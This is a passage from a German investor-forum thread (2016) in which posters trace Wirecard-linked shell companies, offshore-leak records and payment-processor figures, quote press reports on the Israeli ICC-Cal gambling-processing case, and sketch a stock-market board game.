$4,614 on the basis of the Federal Reserve Bank of New York October 18, 2001 noon buying rate of Euro 1 = $0.9025 and the fixed exchange rate of Euro 1 = DM 1.95583), respectively. Although Pay@EuroDebit GmbH currently provides services to X-Real at approximately the same price as such services were previously provided by Cyberotic Media AG and EuroDebit Systems GmbH, the price for such services is likely to increase in the near future. There is also a risk that Pay@EuroDebit GmbH could decide to discontinue providing services to X-Real. While our management has identified other companies which could provide processing and collection services to X-Real at the current cost level, the change from Pay@EuroDebit GmbH to a new processing company could be difficult or even impossible to achieve because of the following circumstances: Pay@EuroDebit GmbH has in its possession unique electronic data containing information about X-Real's customers. This data is essential for the processing and collection of recurring payments from X-Real's customers. Our management believes that this data is the property of our company. However, if Pay@EuroDebit GmbH would refuse to provide or delay the provision of this data to us or a new processing company selected by us, it might not be possible, for an indefinite period of time, to process continuing payments by existing customers of X-Real. If this were to occur, it could have a material adverse effect on our business, revenues, operating results and financial condition.

      Actual results could differ materially from those described in the forward-looking statements. Some of the factors and uncertainties that could cause actual results to differ materially are: Commission enforcement proceedings against our company; continued cash flow and liquidity problems; failure of Pay@EuroDebit GmbH to pay to X-Real on a timely basis the funds collected from X-Real's customers; failure of Pay@EuroDebit GmbH to provide us or a new processing company selected by us with the data necessary to process electronic on-line debit-entry and credit card payments by X-Real's customers; repayment to Infobridge of the full amount of the first tranche of the Infobridge Investment; success of operating initiatives, advertising and promotional efforts; changes in global and local business
      Avatar
      schrieb am 14.08.16 19:25:44
      Beitrag Nr. 181 ()
      zu Schütt. wenn ich das URTEIL gegen Schütt richtig verstehe, wurde er nur verurteilt wegen Zahlungen in den Jahren 2009 und 2010.
      Die Aussage der Wirecard, dass in dem Dokument viele andere Banken genannt werden, ist schon richtig. Im Zusammenhang mit BLUETOOL werden aber nur drei Banken erwähnt:
      WestLB (Referenzbank der Wirecard)
      Wirecard
      DZ Bank

      und es gibt drei verschiedene Absender des Geldes:
      "IPS" via eine Bank auf Mauritius
      "Bluetool" via Wirecard/WestLB
      "Rechtsanwälte H* & H* in Leipzig" via DZ/Wirecard

      wenn man die unzähligen Zahlugen in eine zeitliche Reihenfolge bringt, dann waren dies die ersten Zahlungen.

      Die Zahlung von IPS via Mauritius war am 17.6.2009

      Bluetoolzahlungen haben danach begonnen, ab ca. 14.7.

      Die Rechtsanwaltseinzahlungen waren am 23. und 29.7.


      Was waren das für Zahlungen?

      Meine Vermutungen
      (a) die beiden Rechtsanwälte, die auch Firmengründerdienste anbieten, haben hier für eine Firmengrümndung bezahlt, die entweder mit der Sache zu tun hatte oder nicht

      (b) die IPS aus Mauritius hat etwas damit zu tun oder nicht

      Die drei NICHT-Bluetoolzahlungen belaufen sich zusammen nur auf 800$

      Schauen wir noch einmal genauer:
      Die Bluetool Limited wurde gegründet am 10. Juni 2009
      #6929761

      director GAIL HOPE *15/12/61 (Gail S Hope laut Auflösungsantrag)
      34 Rosedale Avenue
      Blackhill, Consett

      Der agent war
      Jordan's Limited
      21 St Thomas Street
      Bristol
      = Jordan Cosec, siehe OffshoreLeaks/PP
      https://offshoreleaks.icij.org/nodes/246839
      (da landet man u.a. bei dem Deutschen, der wegen des GP von Singapore verhandelt hat, ich hatte ihn schon, schaut euch dort einfach die Namen an und googlet, er "motzt Autos auf für reiche Leute")
      weitere Treffer führen nach Malaysia
      https://therecounter.wordpress.com/2015/08/03/everything-to-…
      Nur mal so, um zu sehen, was das für ein Firmengründer ist, bei dem die Wirecard so gründet (wahrscheinlich lief das ja eher über J.H. in München oder Silberberger, aber das sind ja schon wieder "Unterhändler" im Multi-Level-Marketing der Briefkastenfirmen)
      (ach ja, Lionel Messi gründete auch mit denen)


      Secretary Bournewood Limited, Box 438, Road Town, Tortola, BVI

      Fermoya Limited, Box 438, BVI
      B.M.I.E. Ltd, Wickford

      6.10.2010 Adressänderung bei Bournewood zu "Palm Grove House"
      Company # 641114 BVI


      zum Vergleich die WIRE CARD UK Limited

      #5888415
      27. Juli 2006
      Gavin Taylor
      8 Wheat Close
      Consett, Co Durham

      agent
      A1 Company Services Limited
      788-790 Finchley Road
      secretary: Bornewood/BMIE


      beide agents verwenden also dieselbe Gründungsstruktur

      wie könnte Mauritius ins Spiel kommen?
      Ich habe mal spaßeshalber alle Firmen gesucht, bei denen "A1 Company Services" in Verbindung mit Mauritius vorkommt. Fehlanzeige zunächst...

      Das liegt aber nur daran, dass es einfach zu viele mit dieser weltbekannten A1 verbundene Firmen gibt, und vor allem liegt es daran, dass es die Panama Papers damals noch nicht gab!

      Denn da steht just der Firmengründer der Wire Card UK drinnen:
      https://offshoreleaks.icij.org/nodes/11006503
      ich müsste dazu die downloadbare Fassung der OL/PanamaPapers konsultieren, warte damit aber noch ab, weil ich mir gerade eine aufbereitete Version davon besorge, dauert aber noch, dann evtl mehr

      Es gibt aber noch die "alte" Fassung der Offshoreleaks und die ist für meinen nächsten Versuch besser geeignet...

      Verbindung des Postfachs von Insinger auf den BVI mit Mauritius?
      et voilá
      http://www.icijold.com/index.php?submit=Search&info=Palm%20G…

      Es wird überschaubarer!
      Es bleiben als secretaries aus Mauritius, die (auch) das Postfach auf den BVI nutzen, nur zwei übrig

      SALAMANCA
      und
      DALE

      Salamanca ist aber zu alt, also Dale

      http://www.icijold.com/index.php?submit=Search&info=DALE+INT…

      Dale, secretary, das kommt mir bekannt vor...

      Dale International Trust Company Limited,
      3rd Floor, Tower A, 1 Cybercity,
      Ebene, 72201 Mauritius.

      klar, von Wirecard und Amara. Die Dale-Leute haben den jahresbericht von Amara geschrieben

      Schade, ich hätte auf TRUSTLINK gehofft, aber... das finde ich schon noch, wenn es das zu finden gibt...

      für was stand nun "IPS" in Mauritius (und dass die Firma dort ist, ist ja nur meine Vermutung)

      Im US-Dokument wird erwähnt
      IPSC = Internet Payment Systems Corp (IPS Corp) (in Verbindung mit EPF Ltd & Co KG, Wiesbaden) aber IPSGI = auch Internet payment Services Group Inc

      die IPSGI ist eine auf den ersten Blick langweilige Schüttgründung aus 2008
      die IPSC ist spannender, denn da steht Freddy kalder drin, aus Wiesbaden

      und das ist der Schlüssel zum ganzen Rest der Geschichte.
      https://www.google.de/search?num=100&site=&source=hp&q="Hage…

      :)

      aber was machte der Rechtsanwalt aus Leipzig?
      Und wieso schreibt keiner über ihn?
      und was hat es nun mit Mauritius auf sich?

      übrigens ist der heutige Director der BMIE nicht der Director zum wesentlich entscheidenderen früheren Zeitpunkt... Der hat nämlich auf der Isle of Man ein haus verkauft und deshalb weiß ich, dass er eine gemeinsame Firma in irland hat und zwar mit einem Direktor der
      http://www.solocheck.ie/Irish-Director/Raymond/Niamh/1960243…
      REgent Business Solution
      http://www.solocheck.ie/Irish-Company/Regent-Business-Soluti…

      und das ist meine neueste Theorie als Erklärung für die Parallele zwischen Bluetools und Wire Card UK

      was lernen wir daraus?
      Steuerhinterzieher, Drogenhändler, Waffenschieber, Diktatoren, Geldwäscher - sie alle nutzen dieselben Strukturen, Firmen zu verstecken wie... ...seriöse deutsche Firmen :)

      ist so.
      Avatar
      schrieb am 14.08.16 19:27:11
      Beitrag Nr. 182 ()
      PS: und das ist genau mein Problem: Regent läuft nach panama, aber zu Morgan&Morgan. Es gibt aber keine Panama papers, sondern nur Portcullis&Mossack-Fonseca-papers.

      Sonst würde man alles weitere finden.
      Avatar
      schrieb am 14.08.16 20:32:28
      Beitrag Nr. 183 ()
      wirecard am 27.6.2006 gegründet

      Pressemitteilung FORIS AG vom 20. Oktober 2006
      Rückwirkend zum 1. Oktober 2006 hat die FORIS AG, Erfinderin der gewerblichen Prozessfinanzierung, die Go Ahead Ltd., die Go Ahead Firmengründung Ltd. sowie die Go Ahead Services Ltd. übernommen.

      womöglich wrde wirecard noch über Foris gegründet und unterscheidet sich deshalb. Das könnte passen, weil ja auch Silberberger die Tortola-Kombi nützt.

      schwierig wird es wegen der Leipziger. die gründeten auch bei Silberberger, aber ich bin nicht sicher, es gibt keinen deutlichen Beleg dafür...

      und dann gibt es noch ein Problem: vor Silberberger gab es noch andere Gründer, zB Marcus Kray. Da gibt es auch von ihm aus eine Indizienkette, die passen könnte - und die würde das ganze Erklärungsmodell Silberberger umschmeißen.

      das stärkste Indiz ist für mich immer noch, dass Freddy Kalder und die Enterpayment Werbung für Silberberger gemacht haben, damals. Und dass die EPF laut Zatarra der Enterpayment gehört, die damals Ynotpaymnet betrieben hat mit Rice.

      Denn da sieht es (anders als bei wirecard) tatsächlich so aus, als würden auf beiden Seiten des Atlantiks dieselben Leute sitzen. Nur fehlt der Weg von Full Tilt nach Wiesbaden.

      So oder so: näher rankommen kann man ohne insider nicht als ich.
      Avatar
      schrieb am 14.08.16 20:36:04
      Beitrag Nr. 184 ()
      wirecard am 27.6.2006 gegründet

      Pressemitteilung FORIS AG vom 20. Oktober 2006
      Rückwirkend zum 1. Oktober 2006 hat die FORIS AG, Erfinderin der gewerblichen Prozessfinanzierung, die Go Ahead Ltd., die Go Ahead Firmengründung Ltd. sowie die Go Ahead Services Ltd. übernommen.

      womöglich wrde wirecard noch über Foris gegründet und unterscheidet sich deshalb. Das könnte passen, weil ja auch Silberberger die Tortola-Kombi nützt.

      schwierig wird es wegen der Leipziger. die gründeten auch bei Silberberger, aber ich bin nicht sicher, es gibt keinen deutlichen Beleg dafür...

      und dann gibt es noch ein Problem: vor Silberberger gab es noch andere Gründer, zB Marcus Kray. Da gibt es auch von ihm aus eine Indizienkette, die passen könnte - und die würde das ganze Erklärungsmodell Silberberger umschmeißen.

      das stärkste Indiz ist für mich immer noch, dass Freddy Kalder und die Enterpayment Werbung für Silberberger gemacht haben, damals. Und dass die EPF laut Zatarra der Enterpayment gehört, die damals Ynotpaymnet betrieben hat mit Rice.

      Denn da sieht es (anders als bei wirecard) tatsächlich so aus, als würden auf beiden Seiten des Atlantiks dieselben Leute sitzen. Nur fehlt der Weg von Full Tilt nach Wiesbaden.

      So oder so: näher rankommen kann man ohne insider nicht als ich.

      ach! das hatte ich ja fast vergessen!
      Nach der Übernahme von „YNOT“ und während der DOT.Com-Krise wurde die Anzahl der Mitarbeiter drastisch reduziert und das Unternehmen umstrukturiert. Andrew Edmond verließ zu dieser Zeit die Firma. Anfang 2002 kam es zu einer ersten Geschäftskooperation mit Unternehmen der deutschen Online-Pornographie. (Videochat-Community Visit-X ) YNOT wurde 1996 von Rick Muenyong gegründet, der die erfolgreiche Firma anfangs 2000 an „Flying Crocodile, Inc.“ verkaufte.

      visit-x, soso... das passt ja...
      Avatar
      schrieb am 04.09.16 13:12:30
      Beitrag Nr. 185 ()
      //mit altem amara querlesen//
      Panama Papers, nächste Geschichte...
      Osborne Clarke arbeitete wiederholt für die Wirecard. Beispielsweise bei der Übernahme von AMARA 2014:
      http://www.osborneclarke.com/connected-insights/news/Osborne…
      Die Wirecard Gruppe übernimmt sämtliche Anteile an der Amara Technology Africa Proprietary Limited, mit Sitz in Kapstadt, Südafrika einschließlich einer Tochtergesellschaft. Die Amara Gruppe wurde 2005 gegründet und wird von einem lokalen Investor sowie dem Gründer veräußert, der auch weiterhin dem Management angehört. Amara und seine verbundenen Unternehmen bieten Acquiring- und Issuing-Processing Leistungen, die Vermittlung von Kartenakzeptanzen sowie das Management von Prepaid-Kartenprogrammen für zahlreiche Finanzinstitute in Afrika, darunter Mercantile Bank, Nedbank, Citi Bank und AfrAsia Bank. Außerdem stellt die Zahlungsabwicklung im Bereich Point-of-Sale und E-Commerce sowie die Herausgabe von Zahlungskarten für lokale Händler, Fluglinien und Resorts sowie staatliche Organisationen einen wesentlichen Geschäftsbestandteil dar.


      Wer war der "lokale Investor"?
      2013 schrieb die "Dale Capital Group" in ihrem Jahresbericht
      The valuation of investment in the Amara Group of Companies required total impairment. Illiquidity of all of the shareholders in Amara has resulted in a rights
      offer being taken up by a new group of investors. This action has become necessary due to the fact that The South African Reserve Bank unexpectantly would not support the Group’s application for the issuance of a MasterCard Issuers license and thus allow the Amara Group to participate in the South African National Payment System (NPS) Payment Platform, despite legal opinion supporting the application. In spite of the fact that the Amara Group’s South operation had been
      granted a MasterCard Processors License, the required entry into MasterCard Issuers Space appears to have been retained for registered banks only. This controversial decision has cost Dale Group and all of the Amara shareholders dearly and shareholders have found it unfortunate to the extent that they have had to abort the investment and hand the company over to new shareholders who have the banking relationships to pursue a new longer term strategy.

      Dale hat also Amara abgestoßen an einen lokalen Investor und dieser hat dann 2014 an die Wirecard verkauft, beraten von Osborne Clark.
      Was hat es dann zu bedeuten, dass eine "The MCPIN Foundation" ein/der shareholder der Dale Capital Group ist/war, mit der Adresse von Osborne Clark?
      https://offshoreleaks.icij.org/nodes/14060280
      Avatar
      schrieb am 08.09.16 16:38:41
      Beitrag Nr. 186 ()
      zwei Kartensysteme: LONG und SHORT (oder eine Aktion ergibt long- oder short-Punkte und man weiß aber nicht, wer long und wer short ist, oder: long/short-Karten können sich positiv/negativ auf Kurs auswirken. Kurs könnte immer bei 50 startet. Gewonnen hat man bei 0 oder 100 oder nach festgelegter Zeit ("Terminoption")
      "Impulskarten" sind Karten, die den Kurs nach oben oder unten bringen, zusätzlich wird gewürfelt

      "Aktionskarten":
      - Entenkarte (long)
      - Sasse-Karte (long)
      - Kamellen-Karte (short)

      Aktionskarten:
      - Geldwäscher enttarnen (wer hat eine Geldwäschekarte auf der Hand?)(finden senkt den Kurs)
      - Umbenennungskarte (zB kann man short-Impulse verhindern durch plötztliche Umbenennenung)
      - Briefkasten-Karte (short-Impulse verringern durch "Vertuschung" negativer Effekte)
      - Round-Tripping-Karte: man gibt einen "Impuls" weiter, was dann?
      - FBI-Karte: kann irgendwas untersuchen, hat short-Impuls
      - Zatarra-Karte: bewirkt Kursverlust und irgendeine Form von "Schlacht"
      - Hauptversammlung: so eine Art "Mikado", wer zuckt, hat "verzuckt" (=verzockt) und kriegt short- oder long-Strafpunkte
      - BaFin-Karte: wie FBI-Karte, aber für short weniger wirkungsvoll und kann auch long-Wirkung haben (Würfel?)
      - "Tweet"-Karte: Man kann eine "Meldungskarte" einsetzen (short oder long) (wie "Gerüchtekarte") (kann auch nach hinten losgehen)
      Avatar
      schrieb am 08.09.16 16:41:15
      Beitrag Nr. 187 ()
      "Casino": Man kann "Punkte" setzen und mit mehr Risiko kann man sie stark vermehren in die gewünschte Richtung, oder auch verlieren, oder sie haben sogar gegenteilige Wirkung ("TILT Casino")

      "Pommesbude": in der Pommesbude kann man einfache Sätze "kaufen", um den Kurs zu beeinflussen.
      Avatar
      schrieb am 08.09.16 19:46:02
      Beitrag Nr. 188 ()
      in der Ausgabe der Süddeutschen vom ... findet sich eine halbseitige Werbung für eine Firma "BetOnUSA AG". Im vergangenen Jahr dagegen stand in der SZ ein kritischer SArtikel zu "Casmaker" (...)
      Als treuer Leser der SZ erstaunt mich dies sehr. So sehr, dass ich es von ihrer Erklärung dieser Sachverhalte abhängig mache, ob ich weiterhin ihr Leser sein werde
      (...)
      Das Umfeld dieser Firma ist für meine Begriffe "merkwürdig" und ich wundere mich, warum hier nicht seitens ihrer angesehenen Zeitung die notwendigen Fragen gestellt werden.

      (mail an die Süddeutsche, aus dem Gedächtnis zitiert, private Quelle, Mai 2006)
      Avatar
      schrieb am 11.09.16 11:56:38
      Beitrag Nr. 189 ()
      Wenn das alles nicht passieren sollte, bin ich noch nicht fertig, denn dann kommt die Diskussion eben eine Ebene höher: Was ist eigentlich die Rolle von VISA gewesen?
      Warum steht die namentlich in Israel genannte Firma trotz der offenbar ja spätestens seit dem Gerichtsverfahren im Februar unstrittigen Verwicklung immer noch in der Liste der offiziellen merchants?
      Quelle:
      https://www.visaeurope.com/media/images/Visa%20Europe%20Merc…
      All the Merchant Agents listed below have successfully completed a Merchant Agent Registration and
      Designation form (MARD). The listed Merchant Agents have validated Payment Card Industry Data
      Security Standard (PCI DSS) compliance for the services indicated unless they have confirmed their
      services are out of scope of PCI DSS (see validation method).

      Was muß man eigentlich tun, damit VISA einen rausschmeißt?
      Hat die BaFin eigentlich die Firma schon bewertet?
      Die Firma Retiarius GmbH ist im Handelsrgegister beim Amtsgericht Frankfurt am Main unter der Nummer HRB 79039 registriert. Die eingetragene Rechtsform lautet Gesellschaft mit beschränkter Haftung. Die Haupttätigkeit liegt im Bereich Entwicklung und Programmierung von Internetpräsentationen.

      Wofür benötigt eine Firma, die Webseiten programmiert, eine VISA-Lizenz?
      Warum benötigt eine Firma, deren Firmenhomepage nicht mehr abrufbar ist, eine VISA-Lizenz?
      Wofür benötigt eine Firma, die Webseiten erstellt, mehrere Offshorefirmen auf Mauritius, die nicht Webseiten anbieten, sondern eindeutig etwas ganz anderes?
      http://www.dpayment-solutions.biz/aboutus.php
      Welche Roille spielt die Geschäftsführung dieser Firma?
      Avatar
      schrieb am 11.09.16 22:00:00
      Beitrag Nr. 190 ()
      Hier sind noch einmal drei Artikel zum Israelfall aus dem März 2016, sowie April und Dezember 2015.
      Welche Rolle spielte Dietmar Knöchelmann zu welcher Zeit?
      Bekannt ist, dass Dietmar Knöchelmann namentlich erwähnt wird in einem hebräischen Gerichtsdokument, indem es um eine Klage der schweizerischen Inatec Payment AG gegen die ICC geht und in dem ein Vertrag erwähnt wird aus einer Zeit, zu der Knöchelmann vermutlich schon bei der wirecard war.
      Quelle: goo.gl/Yn8XmZ
      (Unter der Nummer 31352-02-11 vom 23.10.2011 (veröffentlicht am 11.6.2012) taucht die ICC als Kläger auf gegen die Inatec, Dietmar Knöchelmann und seine Frau Ayelet Fruchtlander. Wer es genauer wissen will, braucht einen Hebräischdolmetscher.)

      Das andere Verfahren war Nr 20269-04-15. Darin wird Knöchelmann ohne Angabe einer Firma geführt, neben den in den Zeitungsartikeln erwähnten Hauptangeklagten Chechik, Greenspan, Ashulin und Basha.

      In Deutschland finden sich Trautmann, Knöchelmann und Fruchtlander bei der Inatec, mit der die wirecard nichts zu tun haben will.

      31.08.2009 / Veränderung
      Inatec Solutions GmbH, Frankfurt am Main, Hanauer Landstr. 161-173, 60314 Frankfurt am Main.
      Geschäftsanschrift: Hanauer Landstr. 161-173, 60314 Frankfurt am Main.
      Bestellt als Geschäftsführer: Ayizik Fruchtlander, Ayelet; Kuhl, Dietmar, jeweils einzelvertretungsberechtigt; mit der Befugnis, im Namen der Gesellschaft mit sich im eigenen Namen oder als Vertreter eines Dritten Rechtsgeschäfte abzuschließen.
      Nicht mehr Geschäftsführer: Fiederling, Karl, Frankfurt am Main, .


      Dietmar Kuhl war laut seinem LinkedIn-Profil bei der Wirecard tätig (Key Account Management
      International Client Management, bis September 2007, dann Inatec).

      Karl Fiederling war 2007 Nachfolger des angeblich "von der Wirecard mitgebrachten" GF Christian Wagner bei der Webtrade.

      Webtrade und Inatec wurden angeblich an die wirecard verkauft.

      Helge Kiessler, dessen Retiarius (und dessen Name) in Israel genant wreden, war im Dezember 2006 im Vorstand der Genpage
      http://www.dgap.de/dgap/News/corporate/betonusa-aufteilung-d…

      Helge Kiessler war noch in diesem Jahr Inhaber von auf die webtrade registrierten Webseiten, was teilweise im Juli geändert wurde.

      Bei bloomberg gilt er immer noch als Manger der webtrade
      http://www.bloomberg.com/Research/stocks/private/person.asp?…

      unter der Webseite mywebtrade.net fungierte die Firma Mywebtrade GmbH mit den Geschäftsführern hedge8 und yami-go. Ups, Markus Pfeiffer und Torsten Doppler meinte ich.
      Dann tauchte die Webseite zwischen 2008 und 2011 unter.

      War Torsten Doppler 2008 schon bei der wirecard? Und falls ja, warum betrieb er dann eine Konkurrenzfirma?

      Oder war es keine Konkurrenzfrima?

      Juli 2008
      Vom Akzeptanzvertag für die Abwicklung von Kreditkarten Zahlungen bis hin zur Auswahl der für Sie geeigneten Risk, Hosting, Marketing Werkzeuge.
      myWebtrade bietet mit debitcontrol alle Dienstleistungen aus einer starken Hand.












      http://www.casinomeister.com/news/march2016/online_casino_ne…

      The indictment also claims that Ben-Asulin and Basha-Segev were among the owners of OT Platforms, which provided services to a German corporation called Ritiarius, allegedly an umbrella for online gambling websites... and that as part of Ritiarius's merchant acquiring contracts for businesses in ICC-Cal, Chechik and Greenspan made false representations to international credit organizations in order to clear illegal businesses.
      "At the instruction of Chechik and Greenspan, as part of their large-scale fraud, ICC-Cal conducted merchant acquiring for many gambling websites used by US gamblers, and concealed the merchant acquiring transactions for gambling by portraying them as businesses in legitimate areas of commerce," the indictment alleges.
      A large proportion of those gambling websites were transferred for merchant acquiring at ICC-Cal with a false code by Ritiarius through defendants Ben-Asulin and Basha-Segev," the indictment charges. In this manner, ICC-Cal, Chechik, Greenspan, and Ben-Asulin were able, with the help of Basha-Segev, to fraudulently perform merchant acquiring for gambling websites amounting to billions of shekels.
      Globes reveals that In December 2011, the Israel Police Lahav 433 National Fraud Investigation Unit, with help from an online gambling task force from the Lahav 433 National Economic Crime Unit, began a public investigation of ICC-Cal, Chechik, Greenspan, and other suspects.
      The newspaper says that additional indictments are expected following a December 2015 submission by the police to the State Attorney's economic department with a recommendation to indict ICC-Cal, Chechik, and other suspects in the affair for aggravated fraud, recording false information in corporate documents, bribery, and money laundering.
      "The criminal actions by Israel Credit Cards-Cal (ICC-Cal), Chechik, Greenspan, Ben-Asulin, and Basha-Segev severely damaged the image of international credit card brands Visa and Mastercard. Their deeds exposed the Israeli financial and merchant acquiring markets to the risk of online crime, credit card fraud and exploitation of the Internet for purposes of money laundering," the indictment against Shay Ben Asulin and Dganit Basha-Segev claims.


      The Israeli publication Haaretz reports that local credit card firm ICC-Cal is under investigation following allegations that it has illegally handled online financial transactions for international internet gambling companies.
      The police economic crime unit in Israel is carrying out the investigation and has claimed that the company, under the leadership of former CEO Boaz Chechik between 2007 and 2010, committed various crimes including money laundering, false coding on credit card transactions, the acceptance of bribes, falsifying corporate reportage and illegal processing of online gambling transactions.
      (...)
      The company has already been fined a total of Euro 12.6 million by Visa and Mastercard, and this, accompanied by management changes at the company, appears to have satisfied their concerns, but there are now official calls for a criminal trial.

      http://www.casinomeister.com/news/december2014/online_casino…


      http://www.casinomeister.com/news/april2015/online_casino_ne…
      Prosecutors in Israel are mulling the possibility of an indictment on credit card issuer Cal following an investigation that may indicate that the company was used to clear billions of shekels in online gambling and other illicit transactions, reports the publication Haaretz.
      The State Prosecutor's Office revealed Tuesday it was considering an indictment against Cal Israel Credit Cards and six businesspeople, including Cal's former CEO Boaz Chechik.
      The six are being summonsed for a final hearing which will determine whether prosecutors should issue indictments for allegedly facilitating transactions in online gambling and other illicit activity involving billions of shekels, the State Prosecutor's Office's economics division said in a public statement.
      (...)
      The national police's 433 Unit, which began investigating the affair in December 2011, alleges that the fraud and other violations occurred in two areas.
      In the first, between 2006 and 2009, Cal and the six executives cited by prosecutors defrauded the international credit card issuers MasterCard and Visa by fraudulently offering credit card clearance services to online gambling businesses.
      Investigators say the business became so big that in 2008 the company formed a new unit - Cal International - to handle it.
      "It is suspected that as of 2007 the two companies processed payments for gambling sites (including U.S. gamblers) by false coding, classifying them as supposedly legitimate business activities, approving businesses as customers without proper identification procedures and other fraudulent activities," the state prosecutor's economics division said.
      In the second area, prosecutors believe that Chechik and associate Albert Alhadaf, helped by Greenspan, took bribes from Canadian businessman Nathan Jacobson, who engaged in online payment processing through a company called Paygea.
      Police allege that in exchange for providing Cal services to Paygea, Alhadaf was given a controlling stake in the company and a share in the profits. Paygea cleared credit card payments for online sales of products and services.
      Haaretz reports that there are allegations that Chechik and Greenspan developed a sophisticated system for covering up the transactions and high cancellation levels from the international credit card issuers, and intimidated Cal employees into cooperating. Four of the company's risk managers quit in protest, it has been claimed.
      Avatar
      schrieb am 15.09.16 20:57:02
      Beitrag Nr. 191 ()
      Hier noch einmal zur Dokumentation
      http://www.dcbbank.com/cms/showpage/page/about-us-press-room
      For Immediate Release
      DCB Bank rolls out mVisa card-less solution at retail outlets
      ~ Expands digital payments with QR-based service ~
      Chennai, September 2, 2016: DCB Bank, an emerging new-generation private sector bank,
      today announced the launch of mVisa, a mobile based payment solution that will make
      payments at retail outlets much easier. Customers can pay now through their smart phones by
      scanning the unique Quick Response (QR) code at the retail outlet.
      mVisa is a card-less solution that offers customers the convenience of making digital payments
      at retail outlets. Customers of any mVisa issuing bank can make digital payments at an mVisa
      enabled retail outlets.
      DCB Bank has partnered with Chennai-based digital payment companies, M2P Solutions and GI
      Technology, to implement mVisa.

      (...)
      DCB Bank Head of Retail & SME Banking, Mr. Praveen Kutty said, “DCB Bank is
      focused on providing new and innovative ways to enable customers to transact digitally. This is
      critical to our business as DCB Bank is amongst the largest prepaid card issuers in the country
      with over 5 million prepaid cards. The mobile-first approach of mVisa is a leapfrog in digital
      payments. We are confident that our collaboration with Visa, M2P Solutions and GI technology will accelerate set-up of infrastructure for retail outlets to accept digital payments.”

      Daraus macht Wirecard:
      Indian DCB Bank collaborates with GI Technology, a Wirecard AG subsidiary
      (...)
      The partners launch mVisa in the Indian retail market
      - mVisa is a mobile QR-based payment solution
      - GI Technology enables retailers to accept mVisa payments
      - First payment company to launch cash withdrawl from mVisa in India
      (...)
      To implement mVisa, the DCB Bank has partnered with GI Technology, a Chennai-based digital payment company. As a Wirecard AG subsidiary company, GI Technology is one of India’s and South East Asia’s leading electronic payment companies that provides retailers with the acceptance of mVisa payments and withdrawls at their POS within this collaboration.
      (...)
      Praveen Kutty, Head of Retail & SME Banking, DCB Bank is confident that the mobile-first approach of mVisa is a pioneer in digital payments. “We are convinced that our collaboration with Visa and GI Technology will accelerate set-up of infrastructure for retail outlets to accept digital payments.”

      https://www.wirecard.com/newsroom/press-releases/newsdetail/…

      Das ist - so wie es für mich derzeit aussieht - mindestens ganz schlechter Stil.
      Es ist keine Lüge, aber der berühmte "normal verständige Leser" liest aus dieser Pressemeldung etwas anderes, als ursprünglich gesagt wurde und wird dadurch manipuliert.
      Avatar
      schrieb am 18.09.16 04:38:59
      Beitrag Nr. 192 ()
      Markus Braun, 7.4.2016
      On Page 13, we’re providing a transaction breakdown in geographic terms, and we’re additionally providing key performance indicators about gross margin and the average transaction margin. Let me start with the geographic breakdown. So in total, we had a transaction volume of €45 billion from which we had €34 billion in Europe, of which, again, Germany was providing around €14 million, [ph] the rest of EU without Germany a little bit over €17 million, [ph] and the rest of Europe without EU €2.8 million. [ph]
      Outside Europe, we had a transaction volume of €11.2 billion from which €2.2 billion were in Singapore, €2.1 billion in Indonesia, €3.6 billion for the rest of Asia Pacific without Singapore and Indonesia, in the Americas we did €1.6 billion, and in the Middle East, Africa €1.7 billion. This shows today our truly global footprint in the excel sheet on the right side, you will see exactly the part of our revenue was triggered by transaction oriented fees.


      14 Milliarden in DE
      17 Milliarden EU
      3 Milliarden Resteuropa

      11,2 Milliarden außerhalb Europas
      3,6 Milliarden Asia-Pacific ohne Singapore/Indonesia
      1,6 Milliarden Amerika
      4.3 Singapore/Indonesia
      1,7 Milliarden Mittlerer Osten, Afrika

      ich verstehe immer noch nicht, wie man da auf 13% Steuern kommen kann
      Avatar
      schrieb am 19.09.16 23:52:12
      Beitrag Nr. 193 ()
      https://www.pokersites.us/news/amaya-david-baazov-allegedly-…

      Amaya Founder David Baazov allegedly provided confidential information about his company’s future investment strategy to outside investors, and then took financial kickbacks for delivering the knowledge.
      (...)
      In newly released documents, the AMF says it has reason to believe that ex-Amaya consultant Craig Levett profited from an insider trading scheme orchestrated by Baazov and his brother Josh Baazov.


      https://www.moneyhouse.de/Craig-Levett

      BETONUSA

      08.12.2006
      Firma ansehen
      Nicht mehr Vorstand: Levett, Craig, Quebec, Canada, .


      OLIVER BINSNER

      -->Telemall

      telemall AG wird nach Insolvenz von der WebTRADE.NET GmbH übernommen

      Frankfurt, 20. September 2001. (press1: iBOT) – Die wesentlichen Werte und Mitarbeiter der insolventen telemall AG, ein führender eCommerce Anbieter für Standardsoftware zum Betrieb von Einkaufszentren und Marktplätzen im Internet, wurde am 10. September von der WebTRADE.NET – The Payment.Company GmbH übernommen.

      Bereits in der Vergangenheit wurden die Paymentlösungen von WebTRADE.NET, neben den Lösungen von Paybox, Cybercash (jetzt WebPOS) und Paysafecard, zusammen mit der telemall Software angeboten.

      Die telemall wird als eigenständiger Bereich innerhalb der WebTRADE.NET Gruppe firmieren und tritt als telemall ein Geschäftsbereich der WebTRADE.NET Gruppe am Markt auf.


      ...

      wie die wirecard 2001 entscheidende Entwicklungen, webtrade und inatec galten als Wirecardkonkurrenz

      Kurz nach dem Ausstrieg Levetts bei Betonusa wurde (angeblich!) webtrade/inatec an wirecard verkauft
      Avatar
      schrieb am 22.09.16 20:03:45
      Beitrag Nr. 194 ()
      Actions against Canadian Payment Processor
      The Justice Department, OFAC, and USPIS took simultaneous actions today against PacNet Services Ltd. (PacNet), an international payments processor and money services business based in Vancouver, Canada, along with affiliate companies and their operators. Today OFAC designated the PacNet Group as a significant transnational criminal organization (TCO) pursuant to Executive Order (E.O.) 13581, “Blocking Property of Transnational Criminal Organizations.” OFAC is also designating a global network of 12 individuals and 24 entities across 18 countries. As a result of today’s action, all property and interests in property of the designated persons subject to U.S. jurisdiction are blocked, and U.S. persons are prohibited from engaging in transactions with them.
      In addition, USPIS has sought and obtained a seizure warrant in the U.S. District Court for the Eastern District of New York for the funds in a PacNet U.S. bank account that is used to process payments received through fraudulent mailings. The matter is being investigated by the USPIS team assigned to the Consumer Protection Branch, in conjunction with the USPIS’s Newark Division, Internal Revenue Service-Criminal Investigation’s Newark Field Office and Homeland Security Investigation’s El Dorado Money Laundering Task Force.
